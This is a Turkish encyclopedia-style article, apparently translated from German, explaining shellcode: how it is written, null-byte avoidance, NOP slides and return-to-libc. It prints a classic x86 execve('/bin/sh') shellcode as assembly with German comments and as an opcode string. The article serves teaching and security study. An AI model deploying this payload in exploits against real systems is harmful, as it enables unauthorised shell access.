Kabuk kodu

Shellcode bir programlama terimidir ve amacı bir programı veya sistemi manipüle etmek veya amaçlanmayan amaçlar için kullanmak olan, işlem kodlarına dönüştürülen çoğunlukla çok küçük bir derleyici komutları yamasıdır . Genellikle bir kabuk başlatmaya çalışır , dolayısıyla adı da buradan gelir. Shellcode'ların kökenleri arabellek taşması ve diğer kod enjeksiyon saldırılarına dayanır , ancak yazılımda , özellikle sızma testlerinde , deneylerde ve didaktikte de kullanılabilirler.

Kabuk kodları oluşturma

Kabuk kodu oluşturmak için, çalıştırılacak komut C dilinde yazılabilir ve bir derleyici ile çevrilebilir. Oluşturulan program artık demonte edilir (yeniden çevrilir) ve programın işlevselliği assembly dilinde yeniden programlanır. Bununla birlikte birçok talimat atlanabilir veya kısaltılabilir. Birçok açıktan yararlanmada , kabuk kodu 0 bayt içermemelidir çünkü bu, C'deki dizenin sonunu gösterir. Genel olarak, diğer engellerden kaçınılmalıdır, örneğin yalnızca harflere ve rakamlara izin verilir veya büyük ve küçük harflere izin verilir veya belirli ofsetlere uyulması gerekir, bu, örneğin, daha fazla veya daha az doldurarak elde edilebilir. sıfır işlemlerin yaratıcı zincirleri (sözde NOP slaytları ) olabilir.

Her zaman mümkün olmayan (örneğin bellek korumasını kullanırken ) kendi kodunuzu çalıştırmak yerine, örneğin programın kendisinde veya libc gibi yüklü bir kitaplıkta mevcut olan istenen işlevlere doğrudan da atlayabilirsiniz . Bu prosedüre libc'ye dönüş denir .

misal

Yerel yürütme (/ bin / sh) shellcode

Assembler kodu (x86 mimarisi):

void main() {
__asm__("
jmp 0x2a            # 3 bytes - springt direkt vor den String
popl %esi           # 1 byte - Adresse des Strings wird in esi geladen
movl %esi,0x8(%esi) # 3 bytes - die Adresse des Strings wird in den Speicher geschrieben
movb $0x0,0x7(%esi) # 4 bytes - der String wird nullterminiert
movl $0x0,0xc(%esi) # 7 bytes - ein nullpointer für das environment
movl $0xb,%eax      # 5 bytes - syscall-nummer in eax
movl %esi,%ebx      # 2 bytes - ebx enthält die adresse von "/bin/sh"
leal 0x8(%esi),%ecx # 3 bytes - argumente, ein pointer auf den string und ein nullpointer
leal 0xc(%esi),%edx # 3 bytes - environment
int $0x80           # 2 bytes - interrupt wird ausgelöst
movl $0x1, %eax     # 5 bytes - exit-interrupt
movl $0x0, %ebx     # 5 bytes - wird vorbereitet
int $0x80           # 2 bytes - interrupt wird ausgelöst
call -0x2f          # 5 bytes - ein call zurück, dabei wird der eip auf den Stack gepusht
.string \"/bin/sh\" # 8 bytes
");
}

İşlem kodu dizesi:

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

Ancak bu kod, boş baytlar içerdiği ve oldukça uzun olduğu için pek akıllıca değildir. "İstenmeyen karakterlerden" kaçınmak için, genellikle bu karakterlerin maskelemesini ve daha sonra maskelerini kaldırmayı sağlayan ve muhtemelen kabuk kodunu sıkıştıran kodlayıcılar kullanılır. Dizinin adresini bulmak için "jmp" veya "çağrı" dışında başka teknikler de vardır. Örneğin, sadece /bin/shyığını itmek mümkündür . Esp daha sonra adresi içerir .

Edebiyat

  • Jack Koziol: Shellcoder'ın El Kitabı. Güvenlik Deliklerini Keşfetmek ve Kullanmak. Wiley, Indianapolis IN 2004, ISBN 0-7645-4468-3 .
  • Jon Erickson: Yasak Kod. mitp, Bonn 2004, ISBN 3-8266-1457-7 .

İnternet linkleri

Bireysel kanıt

  1. Kaynak: phrack.org ( İnternet Arşivi'nde 11 Şubat 2008 tarihli Memento )